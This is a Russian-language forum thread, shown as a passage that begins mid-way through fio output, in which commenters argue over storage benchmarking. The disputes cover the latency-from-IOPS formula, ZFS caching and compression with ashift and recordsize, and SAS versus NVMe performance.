376, max=38544, per=100.00%, avg=18102.80, stdev=14618.84, samples=20\n iops : min= 94, max= 9636, avg=4525.70, stdev=3654.71, samples=20\n lat (usec) : 10=0.01%, 50=0.01%, 100=0.01%, 250=0.02%, 500=67.58%\n lat (usec) : 750=30.48%, 1000=0.01%\n lat (msec) : 2=1.80%, 4=0.03%, >=2000=0.08%\n[/code]\nОчередь 10, IOPS 5000, Вычисляем по формуле latency = QD/IOPS = 2 мс. А измеренная по бенчмарку 5-8 мс с большим среднеквадратичным отклонением.", "Это можно и наглядно показать, что просто так задержку не стоит из IOPS вычислять.", "Также при тестах из ВМ есть риск, что чтение будет из ОЗУ хоста.\nЗдесь совет такой, что отдельно измерить скорость чтения и записи и сравнить. Если скорости отличаются в 10 раз и скорость чтения близка к скорости чтения ОЗУ, очевидно чтение из ОЗУ и происходит.", "А можете уточнить объем дисков (чтобы их ТТХ посмотреть) и что за модель контроллера была.\nПока из того, что я вижу:\n1) у ZFS на 4k медленная запись.\n2) при подключении по NFS разницы между NVMe и SATA не очень видно (сопутствующие расходы на сеть и реализацию NFS дороже).\n3) разница между 10G и 100G при работе по NFS не слишком заметна.", "На графиках ZFS local чтение наверняка из ОЗУ идет.", "железо:\n1: Supermicro SYS-2029U-TN24R4T : Supermicro X11DPU ; Xeon Silver 4108 CPU x2; SSD INTEL SSDPE2KX080T8 x 6\n2: Nvidia DGX-1: Xeon E5-2698 v4 x2 ; LSI MegaRAID SAS-3 3108 ; SSD SATA Samsung PM863 x4\nПри NFS - так и есть. Скорость удаётся поднять только если использовать RDMA, но в моём случае работало нестабильно ( периодически вешало систему).", "может быть, в той версии ZFS что у меня ( zfs-0.8.3-1ubuntu12.13 zfs-kmod-0.8.3-1ubuntu12.13 ) , поддержка флага O_DIRECT может быть кривая.", "Её там вообще нет, он просто игнорируется. Поэтому всё ZFS на NVME медленновато из-за ARC (а с крутящимися дисками - наоборот, быстрее с ZFS).\nВ openzfs 3.0 обещают добавить полноценную поддержку O_DIRECT.", "На актуальных всё точно также — собственно, это и меня и сподвигло перейти на NVMe в своё время, это было небо и земля даже для чисто экспериментальных проектов с кучей VM (хотя изначально я тоже был скептически настроен).\nОкрылённый полученным опытом я посоветовал давнему клиенту тоже попробовать (он периодически жаловался на производительность, несмотря на то что в системе были только SSD) — в итоге он остался доволен как слон и сказал что субъективно ощущения как после пересадки с HDD на (первые) SSD — хотя конечно это зависит от задач (у него сильно нагруженный i/o кластер с k8s).\n> Proxmox ZFS выбирают за бесплатные снапшоты\nВ чём их бесплатность по сравнению с LVM thin? Да и при любом раскладе это \"бесплатно\" только для хостера, для клиентов это боль если (к примеру) у них там нагруженные базы или ещё что-то чему вредит COW.\nZFS и так не быстрая, и лучшее ей применение это NAS & co, где данные редко модифицируются \"по месту\" (бэкапы и прочее), если её ставить на хостинг и там хорошая активность — это просто смерть производительности даже на NVMe, и это при выключенных компрессии и дедупликации, а с ними это вообще ужас-ужас — в начале всё ок но со временем за счёт фрагментации всё начинает тормозить просто ужасно, особенно если памяти на ARC не десятки гигабайт и процессор не очень многоядерный.\n> Также при тестах из ВМ есть риск, что чтение будет из ОЗУ хоста.\nРиск есть только если хост принудительно включает кэш и игнорирует direct i/o — я очень сомневаюсь что Hetzner это делает, не говоря уже о том что это приводит к сильному \"загрязнению\" памяти хоста всяким мусором и в целом плохо сказывается на всех (любая VM может загнать в swap хост и сильно помешать соседям — объём кэша на процесс/пользователя не тюнится, разве что ядро патченное).\nНо я делал тесты и по чтению, разумеется — результаты почти идентичны (разница в пару процентов).\nДля полноты картину, вот результаты тестирования с /dev/ram0 (на той же VM):\n# fio --filename=/dev/ram0 --size=1G --direct=1 --rw=randrw --bs=4k --ioengine=libaio --iodepth=8 --iodepth_batch_submit=8 --runtime=10 --numjobs=6 --time_based --group_reporting --name=iops-test-job --eta-newline=1\n[code]\n Jobs: 6 (f=6): [m(6)][30.0%][r=1307MiB/s,w=1315MiB/s][r=335k,w=337k IOPS][eta 00m:07s]\n Jobs: 6 (f=6): [m(6)][50.0%][r=1256MiB/s,w=1258MiB/s][r=321k,w=322k IOPS][eta 00m:05s]\n Jobs: 6 (f=6): [m(6)][70.0%][r=1244MiB/s,w=1243MiB/s][r=319k,w=318k IOPS][eta 00m:03s]\n Jobs: 6 (f=6): [m(6)][90.0%][r=1188MiB/s,w=1185MiB/s][r=304k,w=303k IOPS][eta 00m:01s]\n Jobs: 6 (f=6): [m(6)][100.0%][r=1326MiB/s,w=1329MiB/s][r=339k,w=340k IOPS][eta 00m:00s]\n iops-test-job: (groupid=0, jobs=6): err= 0: pid=420764: Fri Dec 31 02:51:52 2021\n read: IOPS=323k, BW=1261MiB/s (1322MB/s)(12.3GiB/10001msec)\n[/code]\nТак что очень маловероятно что хост кэширует что-то — даже с учётом оверхеда виртуализации это было в пусть в два-три раза медленней, но явно не на порядок.", "> ZFS очень агрессивен в кэшировании (direct i/o игнорирует), так что если памяти у вас достаточно (32GB или больше) вы меряете производительность самой файловой системы, а не накопителя. Поставьте ограничение на ARC чтобы файл в него точно не влезал, и добавьте `--fsync=1` к `fio` (убедившись что в ZFS не стоит `sync=disabled`) — тогда тест будет более реалистичным.\nНет в ZFS не выключен sync. Отдельного ZIL на SSD или отдельных дисках нет. ARC к записи не имеет отношения, а ZIL пишется всегда sync. В дополнение engine в fio sync, а у вас libaio. Я специально во всех тестах sync eingine использовал. fsync на каждом блоке будет i/o scheduler ZFS просто ломать оптимизацию ZIL.Надёжности записи не добавит, а производительность снизит.\nС другой стороны на SSD тоже нужно с теми-же параметрами проверять с fsync и sync engine, и также печально будет себя вести deadline IO scheduler ядра.\nС другой стороны RAID-10 на SATA SSD или SAS SSD дисках даст значительный прирост к производительности относительно NVME (от кол-ва дисков конечно зависит, но прелесть SAS в том, что он серийный). Т.е. на 24Gbit SAS вы имеете шанс все это 24Gbit выжать из набора дисков. А RAID на NVME не даст никаких плюсов, т.к. всё упрётся в UPI и то как линии UPI разведены.", "> также печально будет себя вести deadline IO scheduler ядра.\nПоэтому для ssd нужно шедулер noop ставить и все будет хорошо. Для pcie дисков так вообще смерти подобно.\n> С другой стороны RAID-10 на SATA SSD или SAS SSD дисках даст значительный прирост к производительности относительно NVME (от кол-ва дисков конечно зависит, но прелесть SAS в том, что он серийный). Т.е. на 24Gbit SAS вы имеете шанс все это 24Gbit выжать из набора дисков. А RAID на NVME не даст никаких плюсов, т.к. всё упрётся в UPI и то как линии UPI разведены.\nОно в обоих случаях упрется в UPI линии для софтового рейда, а если SAS контроллер аппаратный, то еще в шину до него и в возможности самого контроллера, который в топовых вариантах выше 1млн IOPS не прыгнет. Я это уже проходил, когда собирал raid0 из sata ssd. Все упирается в контроллер, который еле вывозит десяток дисков. Скоро будем собирать на pcie дисках. Посмотрим на разницу.", "> В чём их бесплатность по сравнению с LVM thin? Да и при любом раскладе это \"бесплатно\" только для хостера, для клиентов это боль если (к примеру) у них там нагруженные базы или ещё что-то чему вредит COW.\nВ том, как ZFS внутри устроена. По сути, нужно лишь \"форкнуть\" дерево блоков. COW сделает все остальное.\nНе сказал бы, что COW вредит базами. Наоборот. COW идеально сочетается с базами, т.к. они повсеместно пишут WAL. Что базы, что ZFS стараются не модифицировать то, что уже есть на диске. По крайней мере те базы, что были разработаны под HDD. По идее, если грамотно подобрать размер блока, то оверхед будет минимальный. Компрессия тут конечно немного жизнь подпортит. А уж про дедупликацию вообще надо забыть сразу. Никто ее не рекомендует использовать и поделом.", ">Компрессия тут конечно немного жизнь подпортит\nКомпрессия наоборот \"жизнь улучшит\", т.к. сократит объём IO за счёт траты CPU ресурсов. Ну до тех пор пока CPU и ОЗУ хватает.", "Это понятно, но из-за нее размер блока будет постоянно меняться и не будет четкого соответствия между тем, что пишет база, и что ложится на диски.", "> Поэтому для ssd нужно шедулер noop ставить и все будет хорошо. Для pcie дисков так вообще смерти подобно.\nУгу, не noop, а просто отключать I/O Scheduler? Ага, на синтетике в одно рыло на серваке классно выглядит, а при нагрузке от 10-ки ВМ будет невероятно весело... С другой стороны, если в сервере нет ничего кроме NVME, т.е. ни внешних накопителей по FC, ни внутренних, то может быть и с пачкой ВМ будет вполне норм. Но без тестов уверенности нет.\nТогда в любом случае, сравнивать без scheduler на SSD и ZFS пул, на котором fio с fsync работает, нельзя - это такая подгонка результата к желаемому значению. Т.е. лишь-бы \"грамотно подать данные\" или доказать правоту.\nEdit:\nПо поводу SAS контроллера: ставьте 2 или более и на каждый свой пул. Но в отличии от NVME на М.2 просто упрётесь в кол-во х8 lanes PCI-E. Т.е. в любом случае выиграете, т.к. на каждом NUMA node будете как минимум один 16х PCI-E иметь. И лучше не RAID контроллер ставить а просто SAS expander, т.е. без RAID И кэшей. И ZFS вполне отлично вам тут поможет, на каждом NUMA node свой пул со своим контроллером. Дa CPU и ОЗУ будет жрать, - мама не горюй. Но скаллироваться будет всяко лучше чем RAID контроллер. И компрессия, это просто отличный способ снизить I/O.", "Шедулер можно же для каждого девайса индивидуально выставить, если на серваке еще что-то есть. Не знаю как с ВМ, но для базы данных эффект очень серьезный. Шедулер просто нещадно выжирает весь CPU, а толку от него никакого даже на SATA SSD. Контроллер диска куда лучше справится с этой задачей, т.к. по определению больше знает.\n> И ZFS вполне отлично вам тут поможет, на каждом NUMA node свой пул со своим контроллером\nЕсли ZFS не сможет (а она это не может, судя по всему) запинить свои треды к нужным ядрам и никогда не пересекать границы NUMA, то грош цена всему этому. Все равно трафик будет гулять по интерконнекту. Тоже самое с mdraid, который точно так же ничего это не умеет. Вот какой-нить ceph строить, вот там красота. Каждый OSD прибить к конкретному процессору и все.\n> Но в отличии от NVME на М.2 просто упрётесь в кол-во х8 lanes PCI-E\nНе понял, вы о чем? Нормальный сторадж я буду строить на U.2 дисках с бэкплейном, к которому подключены все линии всех дисков без свитчей и прочей ерунды. Куда я упрусь в этом случае так это в пропускную способность памяти и интерконнект между процессорами. Никакие SAS экспандеры не вывезут такие скорости. Ставить на такое ZFS я уж точно не стану. Деньги на ветер, считай.", ">ZFS и так не быстрая, и лучшее ей применение это NAS & co, где данные редко модифицируются \"по месту\" (бэкапы и прочее), если её ставить на хостинг и там хорошая активность — это просто смерть производительности даже на NVMe, и это при выключенных компрессии и дедупликации, а с ними это вообще ужас-ужас — в начале всё ок но со временем за счёт фрагментации всё начинает тормозить просто ужасно, особенно если памяти на ARC не десятки гигабайт и процессор не очень многоядерный.\nТут в этом абзаце очень много вброса. Весь абзац состоит из внутренних противоречий. Я ограничусь следующим:\n 1. Где и кто использует виртуализацию с \"процессор не очень многоядерный\". Вообще это не технический момент а финансовый. И если он вылез в плоскость \"процессор не очень многоядерный\", это ошибка дизайна и кап вложений в первую очередь.\n 2. У меня в эксплуатации были массивы ZFS, под БД Oracle для DWH и CDR. Когда я их принял в эксплуатацию, то там уже была тупейшая ошибка дизайна, которая на самом деле упиралась в возможности Oracle 11g и ASM, - ограничение на размер LUN- 2ТБ. Т.е. JBOD поверх аналога RAID-10 ZFS. Объём занятого пространства на массиве более 220ТБ из доступных пользователю 270ТБ. И это сжатые БД, с коэффициентом компрессии у одной 3.5х у другой 11х. ZIL на выделенных SSD. Всё это хозяйство на 7ТБ и 14ТБ дисках, на запись более 24к 4k IOPS получить было невозможно. На чтение до 250к IOPS вполне тянуло. Самая большая проблема, это смешение DWH и CDR БД. Т.к. когда отчёты генерировать на DWH начинали, то всем было весело. Т.е. ещё одна ошибка дизайна. Однако, денег у компании на то что-бы разделить эти БД на разные СХД выбить было не реально. Всех радовало как много можно было впихнуть в ZFS, и все ныли, как это медленно. Вбухать кучу бабла не посчитав что и для чего будет использоваться и чего больше хочется, - сэкономить денег или побыстрей отчёты считать. Как обычно 7 шапок и вопрос лежит не в технической, а в финансовой области.", "WAL получается по-сути последовательной однопоточной записью и не COW ФС его должны тоже быстро писать. А вот случайная запись должна быть очень быстрой. Правда последовательное чтение может оказаться непоследовательным по понятным причинам. Поэтому здесь правильно бенчмарк провести и посмотреть лучше COW ZFS под базу или хуже под различные нагрузки. Ну или может уже кто-то такие провел.\nА вот со снапшотами на локальной ZFS я бенчмарк проводил на Proxmox и влияния снапшота не увидел на производительность.", "> Шедулер можно же для каждого девайса индивидуально выставит\nНе нужно. Он сам для NVME отключается, сейчас. с какой версии ядра это началось не скажу, но на 5.15 автовыбор без io scheduler для NVME по умолчанию.\n> Если ZFS не сможет (а она это не может, судя по всему) запинить свои треды к нужным ядрам и никогда не пересекать границы NUMA\nТут соглашусь. Даже если гипервизор контроллирует numa ноды, то ZFS на dom0 запинить на ноду не получится.\n> Не понял, вы о чем? Нормальный сторадж я буду строить на U.2 дисках с бэкплейном\nА я имел в виду, что вы сможете взять SAS SSD и польза от ZFS таки будет, особенно учитывая сжатие и сокращение IO. И в любом случае 24/48Гбпс на SAS контроллер, это 6/12 накопителей. Т.е. в пропускную способность памяти и процессинговую способность ZFS конечно можно упереться гораздо раньше, чем на 12 накопителей данные уйдут. Но это дешевле и объём можно больше собрать.\nВ любом случае, получается, что для использования с ZFS и SAS SSD лучше всего использовать 1 процессорные модели серверов. Очень много места в пустую уйдёт.", "> Это понятно, но из-за нее размер блока будет постоянно меняться и не будет четкого соответствия между тем, что пишет база, и что ложится на диски.\nashift=12 и в ZFS блок 4к, независимо от того сколько сжатой информации туда поместится. Для этого у ZFS свой scheduler.\nНапример БД 8к блок пишет и он поместился в 4к - идеальных вариант. И скорее всего будет сжат с каким нибудь дробным коэффициентом, и то-ли ~3КВ будет записано в блок, то-ли 1.5 блока ZFS будут использованы... Та ещё лотерея. Однако если смотреть на большие объёмы, - десятки и сотни ТБ, то эта лотерея в среднем будет идти только в плюс к производительности, чисто статистически. Т.е. например какая-нибудь БД с банковскими операциями будет в 2.5 раза сжата, а CDR в 10-11 раз. Это очень неплохой буст к скорости чтения.Лишь бы мощности ЦПУ хватило всё это распаковывать.", "Если ashift=12 и recordsize/volblocksize=4K то будет работать только ZLE (сжатие нулей), потому как zfs не пишет сжатые блоки если они ужимаются меньше чем на 25% (пишет несжатый блок) и минимальный размер записи это 2^ashift. 2^12=4096, 4K.", "Да и банально не нужно столько вычислительных мощностей, как по мне. ZFS конечно кушает, но не настолько, чтобы два проца совать туда. Особенно с нынешними моделями. Даже интел хорошие варианты имеет, не говоря уже об амд.\nДа и в качестве примера можно посмотреть, что суют в энтерпрайз хранилки. Смех просто. А у многих внутри тот же самый ZFS и будет.", "Всё смешалось, кони,люди ...\nРазмер сектора zfs == 2^ashift. T.e. 2^12 = 4096.\nИ да, сжатые данные одной записи которые уместились в 3КБ будут целиком занимать 4КБ с ashift 12. А если БД оперирует 8кб или 32кб блоком, а ashift на ZFS 12, то шансы, что вы офигенно сэкономите на IOPS очень хорошие. И IO scheduler zfs в этом очень поможет.", "> Всё смешалось, кони, люди ...\nИменно так )\nБД может оперировать каким угодно блоком. Но если блок ФС равен 4К и она не использует для сжатия экстенты или иные группировки (для dataset это recordsize, для zvol — volblocksize; угадайте что случится, если вы их ограничите 4K) то, увы, ФС будет разбивать вашу 32K-запись в несколько 4K. И сжимать каждый блок отдельно.\nUPD: А если вы сделаете их слишком большими, то получите потерю IOPS и вымывание ARC за счет множества RMW-циклов. Впрочем, add-only базы могут это и не заметить...", "> А это пример пользовательского SSD, у которого латентность 5 мс (как у HDD) уже при 25 тыс. IOPS.\nсейчас на глаза попался обзор nvme-накопителя на qlc:\nЧто, сынку, помогли тебе твои ~~ляхи~~ pci-e gen4?", "а что не так-то?\nпо вашей картинке:\niops=10/t (за t секунд произошло 10 операций)\nlatency≈t\nпо предложенной формуле:\nlatency≈qd/iops=10/(10/t)=t", "1) Не смущает, что на рисунке latency примерно 2/3 t? Причем что t=1сек - это сущий произвол и вообще-то t может быть 1 мс и вообще сколько угодно.\n2) Я привел реальные измерения с помощью fio и в них latency больше в разы указанной формулы.\n3) Вот еще рисунок в котором допустим два разных SSD с разной latency.\nМожно, конечно, сказать, что IOPSы здесь неправильно нарисованы и надо все заштриховать, но когда вы все заштрихуете (упретесь в возможности контроллера, забив его длинной очередью), у вас скорее всего из-за неспособности больше операций прожевать latency начнет сильно расти, возможно экспоненциально. С огромной дисперсией. Причем рост начнется не по забиванию контроллера, а даже раньше, когда забьете очередью каналы в контроллере, кеши и какие-нибудь другие ресурсы, которые внутрях есть.\nНу и на графики StorageReview выше посмотрите. Вы видите на них ту зависимость latency ~ 1/IOPS? Я вот не вижу.\nПоэтому вот, надо измерять.", "вывод аналогичной команды на моём сервере\n[code]\n read: IOPS=92.2k, BW=360MiB/s (378MB/s)(21.1GiB/60001msec)\n slat (nsec): min=1020, max=111660, avg=1461.82, stdev=654.72\n clat (usec): min=32, max=8869, avg=93.21, stdev=73.93\n lat (usec): min=56, max=8871, avg=94.68, stdev=73.90\n clat percentiles (usec):\n | 1.00th=[ 58], 5.00th=[ 59], 10.00th=[ 60], 20.00th=[ 62],\n | 30.00th=[ 65], 40.00th=[ 69], 50.00th=[ 71], 60.00th=[ 75],\n | 70.00th=[ 83], 80.00th=[ 102], 90.00th=[ 139], 95.00th=[ 212],\n | 99.00th=[ 424], 99.50th=[ 553], 99.90th=[ 832], 99.95th=[ 930],\n | 99.99th=[ 1090]\n bw ( KiB/s): min=242680, max=453656, per=99.86%, avg=368407.06, stdev=95599.96, samples=119\n iops : min=60670, max=113414, avg=92101.76, stdev=23899.99, samples=119\n write: IOPS=92.2k, BW=360MiB/s (377MB/s)(21.1GiB/60001msec); 0 zone resets\n slat (nsec): min=1040, max=84435, avg=1557.34, stdev=671.25\n clat (nsec): min=240, max=131324, avg=11360.38, stdev=2080.01\n lat (usec): min=9, max=132, avg=12.92, stdev= 2.15\n clat percentiles (nsec):\n | 1.00th=[ 8512], 5.00th=[ 9024], 10.00th=[ 9536], 20.00th=[ 9792],\n | 30.00th=[10048], 40.00th=[10432], 50.00th=[10816], 60.00th=[11200],\n | 70.00th=[11840], 80.00th=[12736], 90.00th=[14016], 95.00th=[15296],\n | 99.00th=[18816], 99.50th=[20096], 99.90th=[22912], 99.95th=[24192],\n | 99.99th=[28032]\n bw ( KiB/s): min=240904, max=453264, per=99.87%, avg=368153.55, stdev=95399.17, samples=119\n iops : min=60226, max=113316, avg=92038.39, stdev=23849.79, samples=119\n lat (nsec) : 250=0.01%, 500=0.01%\n lat (usec) : 2=0.01%, 4=0.01%, 10=13.86%, 20=35.86%, 50=0.26%\n lat (usec) : 100=39.36%, 250=8.93%, 500=1.40%, 750=0.25%, 1000=0.07%\n lat (msec) : 2=0.01%, 4=0.01%, 10=0.01%\n cpu : usr=21.25%, sys=30.90%, ctx=4318157, majf=0, minf=22\n IO depths : 1=0.0%, 2=0.0%, 4=0.0%, 8=100.0%, 16=0.0%, 32=0.0%, >=64=0.0%\n submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.1%, 32=0.0%, 64=0.0%, >=64=0.0%\n complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.1%, 32=0.0%, 64=0.0%, >=64=0.0%\n issued rwts: total=5533873,5529334,0,0 short=0,0,0,0 dropped=0,0,0,0\n latency : target=0, window=0, percentile=100.00%, depth=10\n Run status group 0 (all jobs):\n READ: bw=360MiB/s (378MB/s), 360MiB/s-360MiB/s (378MB/s-378MB/s), io=21.1GiB (22.7GB), run=60001-60001msec\n WRITE: bw=360MiB/s (377MB/s), 360MiB/s-360MiB/s (377MB/s-377MB/s), io=21.1GiB (22.6GB), run=60001-60001msec\n[/code]\nимеем 92.2к iops на чтение + 92.2к iops на запись, считаем\nlatency = 10 / (92200 + 92200) ≈ 54.23 мкс\nизмеренное же fio значение (94.68 + 12.92) / 2 = 53.80 мкс, отличие менее 1%.\nпочему в вашем примере не так — сходу не могу сказать.\nподозреваю, что среднее значение iops в вашем примере «показывает погоду на марсе», но, к сожалению, за несколько минут я не смог разобраться как именно оно считается в fio.", "> Не смущает, что на рисунке latency примерно 2/3 t?\nсмущает. потому что, очевидно, продолжительность измерений должна быть на порядки больше задержек ввода-вывода.\n> Вот еще рисунок в котором допустим два разных SSD с разной latency.\nчестно говоря, не понимаю, что вы хотите этими картинками показать.\nв обоих случаях формула latency ≈ qd/iops будет более-менее работать (более-менее потому, что непонятно как точно считать iops на интервалах, соизмеримых с задержкой ввода/вывода)\n> Можно, конечно, сказать, что IOPSы здесь неправильно нарисованы и надо все заштриховать, но когда вы все заштрихуете (упретесь в возможности контроллера, забив его длинной очередью), у вас скорее всего из-за неспособности больше операций прожевать latency начнет сильно расти, возможно экспоненциально. С огромной дисперсией. Причем рост начнется не по забиванию контроллера, а даже раньше, когда забьете очередью каналы в контроллере, кеши и какие-нибудь другие ресурсы, которые внутрях есть.\nне понял что вы имеете в виду под «всё заштриховать».\nувеличить qd? так мы пока говорили про измерения с постоянной (не важно какой, важно, что не меняющейся в процессе теста) глубиной очереди.\n> Ну и на графики StorageReview выше посмотрите. Вы видите на них ту зависимость latency ~ 1/IOPS?\nа где там графики с постоянной qd?\nсама идея не ограничивать qd, а ограничивать iops и строить зависимость latency от iops мне нравится, но вот реализация на storagereview не выдерживает никакой критики — из-за того, что на графики попадают секундные «хвосты», разглядеть задержки в левой части графика проблематично, а таблиц с числовыми значениями сходу я не нашёл.", "> Очередь 10, IOPS 5000\nя думаю, что там всё-таки совсем другое среднее значение iops.\n[code]\n read: IOPS=763, BW=3056KiB/s (3129kB/s)(183MiB/61231msec)\n write: IOPS=759, BW=3037KiB/s (3109kB/s)(182MiB/61231msec); 0 zone resets\n[/code]\n763 и 759 выглядят более правдоподобно, в этом случае задержка получается\n10 / (763 + 759) ≈ 0.006570 с = 6570 мкс.\nизмеренная fio\n(5071 + 8018) / 2 = 6544.5\nопять неплохо сходится.\nне могли бы вы повторить тест с параметрами `write_iops_log` и `write_lat_log` и выложить результат? хочу попробовать разобраться откуда взялись 5000 iops.", "С записью логов можно, но позже.", "> ФС будет разбивать вашу 32K-запись в несколько 4K. И сжимать каждый блок отдельно\nКод с ZOL на эту тему в студию :)\nВы сейчас сказали, что компрессии не существует.\nЯ в коде такого не видел.\nВидел: если запись идёт на 32к и сжимается с коэффициентом 3.2 , то будет уложена в 3х4к блока при ashift=12.\nEdit:\nARC то здесь причём? Он к записи отношения не имеет.", "> Вы сейчас сказали, что компрессии не существует.\nНет. Всего лишь указал на некоторые тонкости, которые легко могут порушить wishful thinking.\n> ARC то здесь причём? Он к записи отношения не имеет.\nRMW. Read-Modify-Write cycle. Оно, во-первых, по определению медленнее, чем просто Write — каджит надеется, что это хотя бы очевидно. Во-вторых, требует хранить больше данных в памяти для достижения того же результата.\n> Код с ZOL на эту тему в студию :)\nПолноте, это вы теряете контекст и не понимаете, о чем идет идет речь. Вам и приводить доказательства, но сначала, прежде чем этот, все-таки, рекомендовал бы внимательно прочитать, о чем идет речь, и прочитать штатный хелп, или, хотя бы, этот профильный тред, прежде, чем укапываться в гит.\nПотому как `zpool allocation unit`, `zfs recordsize` и `zvol volblocksize` — разные сущности. И все они совершенно ортогональны размеру блока, используемому каким-либо софтом.\n> Видел: если запись идёт на 32к и сжимается с коэффициентом 3.2, то будет уложена в 3х4к блока при ashift=12\nДа. Если вы не ограничили сверху размер записи zfs (recordsize/volblocksize) равным размеру zpool ashift.\nА теперь смотрите фокус:\n> ashift=12 и в ZFS блок 4к\nВы явно указываете, что ограничили размер record сверху и ваши 32K не смогут быть записаны в один record.", "> Вы явно указываете, что ограничили размер record сверху и ваши 32K не смогут быть записаны в один record.\n\"Госпидя ...\", да вы рекорд от сектора не отличаете, и ещё меня на \"профильные треды\" отправляете. Там уже 3-й комментарий в котором ложное утверждение (ложное утверждение выделено жирным):\n> Sorry, that came out wrong. I meant to say: A large recordsize generally gives you better compression and less metadata overhead, but space is wasted on partly-filled records if compression is off\nashift диктует размер сектора zfs ПУЛА, recordsize диктует размер записи на конкретном dataset (по умолчанию 128к).\nРазмер сектора в идеале должен совпадать с блоком устройства, в противном случае или перерасход пространства или многократные перезаписи и падение производительности. Размер записи должен быть многократно больше размера сектора, что-бы в компрессии смысл был.\nПосмотрите в исходники, modules/zfs/zio_compress.c и выше по иерархии.\nZFS пишет стрим!!!! Стрим размером с запись или меньше. Секторов займёт столько сколько нужно, а не по максимуму.\nARC от L2ARC вы тоже не отличаете, поэтому чушь несёте. Кстати ARC как и L2ARC содержат сжатые блоки если ФС сжата и блок сжимаемый.\nБлок в ARC будет обновлён только, после того как физический блок будет записан, а он будет записан новый. И новый блок будет заюзан только новым запросом на чтение, т.к. COW. RWM цикл вам страшен только на hot блоках, или на искусственно созданной ситуации. Зачем вы вообще его сюда за уши притянули???\nНе нужно мне здесь ссылки на \"профильные треды\" приводить. Чего там можно найти, того что нет в коде или документации ?????\nНикакой сакральности во всём этом нет уже почти 15 лет. Есть даже разжёванная документация.\nВот вам древняя дока от оракла https://www.oracle.com/technetwork/server-storage/solaris10/config-solaris-zfs-wp-167894.pdf, там про размеры записи и db_block_size написано, чтоб админы не мучились. Это для OLTP нет выбора и размер записи, должен совпадать с размером блока БД, хотя для SSD это древнее правило уже можно просто похоронить.\nВот дока про с разделом компрессия https://openzfs.github.io/openzfs-docs/Performance and Tuning/Workload Tuning.html#compression\n> The uncompressed block size is set by the `recordsize` (defaults to 128KB) or `volblocksize` (defaults to 8KB) property (for filesystems vs volumes).\nВот доходчиво о компрессии для тех кто в код не умеет: https://klarasystems.com/articles/openzfs1-understanding-transparent-compression/\nДетский сад.", "Вот, замечательно, что вы включились. Плохо, что большая часть вашего текста по-прежнему нападки. Некоторые по прежнему без знания матчасти: ну, например, понятие сектор относится к устройству хранения, а не к zpool/zfs.\nПройдемся по конструктивной части.\n> ZFS пишет стрим!!! Стрим размером с запись или меньше.\nБраво! А что случится, если вы ограничите этот ваш стрим в 4К и запишете 32К? Граничные случаи со стримом нулей и ему подобные давайте опустим, интересен случай с данными, подобными реальным.", "> Браво! А что случится, если вы ограничите этот ваш стрим в 4К и запишете 32К? Граничные случаи со стримом нулей и ему подобные давайте опустим, интересен случай с данными, подобными реальным.\nЕсли Буратино очень хочет в топку, то туда ему и дорога. Не принуждает никто. Хочет - делает.", "То есть, вы не имеете представления о том, что происходит в обсуждаемом случае.\nА происходит там вот что:\n> Our hardware blocksize is 4KiB, and our desired maximum record size is 128KiB – so a typical record, uncompressed, will be stored in thirty-two 4KiB blocks. What if we’ve got “compression=lz4” set, and the LZ4 algorithm can achieve a raw 1.32 compression ratio, compressing that 128KiB of data down to 97KiB?\n> You need twenty-five total 4KiB blocks to store 97KiB of data – so while we’re still looking at a single 128KiB record, that record now occupies twenty-five blocks on disk, not thirty-two—an on-disk “compressratio” of 1.28.\nТам же:\n> Higher recordsize Means Better Compression Ratios\nИз этого следует простой вывод: запись сжимается целиком. И это, внезапно, логично: один и тот же код сможет обрабатывать записи сжатые и несжатые, просто в случае сжатой записи дополнительно вызывается декомпрессор — возвращающий типичную несжатую запись и не возвращающий внезапный терабайт нулей, с которым другие слои не знают, что делать.\nО чем этот и говорит.", "Ага, я и говорю ССЗБ. Давайте создадим проблему, и будем дружно всем рассказывать про неё. При этом и в документации и в статье вам говорят прямо, не делайте этого. А вы ну очень хотите этот случай внедрить в жизнь. Зато всем можно теперь рассказывать, что ZFS в компрессию не умеет :D", "Дуракам закон не писан.\nЕсли писан — то не читан.\nЕсли читан — то не понят.\nЕсли понят — то не так.\nСпасибо за наглядную иллюстрацию.\nТекст, в цитате, из вашего же источника взят ;)", "Вы не представляете насколько это выглядит комично. Может у вас с английским плохо? Вы ведь этот \"граничный случай\", из пальца высасываете. Ну кто в здравом уме кроме тех кто сам себе враг, будет делать запись размером меньше или равным размеру сектора, при использовании компрессии? Ну нет ни одного практичного случая когда это нужно. И я вам с самого начала говорил, - больше размер записи (стрима), больше шансов, что данные займут меньше секторов. И чего вы так обрадовались, что вам закон не писан????\nДаже для использования с оракл в OLTP профиле меньше 8к запись вы делать не станете (ну ведь не станете-же???? да???). А что это я вдруг за вас переживаю? Делайте как хотите.", "> Ну кто в здравом уме кроме тех кто сам себе враг, будет делать запись размером меньше или равным размеру сектора, при использовании компрессии?\nНаверное, тот же, кто предложил установить ashift=12 и некий `zfs блок` в 4K, после чего каджит и создал к подветку, указав на неточность? Кто бы это мог быть, интересно? Наверное, Поттеринг, он всегда во всем виноват. Или Торвальдс. Ой, нет, это же сам thatsme!\nСлушайте, вы уже неделю не в силах ни осмыслить ни свои комменты, ни то что вам пишут, ни прочитать свои же собственные пруфы, зато ударно выполняете танцы вокруг соломенного чучела, путаетесь в матчасти и агритесь. Первое время это еще можно было списать на жесткий абсистентный синдром, но праздники закончились и началась рабочая неделя. Пора прекращать бессмысленную возню ради возни и бампать пост руганью; если вам обсуждение еще актуально — напишите лучше в ЛС.", "> Наверное, тот же, кто предложил установить ashift=12 и некий `zfs блок` в 4K, после чего каджит и создал к подветку, указав на неточность? Кто бы это мог быть, интересно? Наверное, Поттеринг, он всегда во всем виноват. Или Торвальдс. Ой, нет, это же сам @thatsme!\nУ вас в голове каша. Я вам раньше об этом говорил, и доку привёл: ashift на размер записи не влияет, это размер сектора, который мапится в физ блоки драйва. Размер записи регулируется параметром recordsize. RTFM. Диалог пошёл по кругу...\n> Слушайте, вы уже неделю не в силах ни осмыслить ни свои комменты, ни то что вам пишут, ни прочитать свои же собственные пруфы, зато ударно выполняете танцы вокруг соломенного чучела, путаетесь в матчасти и агритесь. Первое время это еще можно было списать на жесткий абсистентный синдром, но праздники закончились и началась рабочая неделя. Пора прекращать бессмысленную возню ради возни и бампать пост руганью; если вам обсуждение еще актуально — напишите лучше в ЛС.\nКак вы умудряетесь прикидываться специалистом, если даже доку, разжёванную и указанную в комментах выдержку осилить не в состоянии?", "А кто вам говорит, что ashift влияет на размер записи-то? С кем вы спорите? 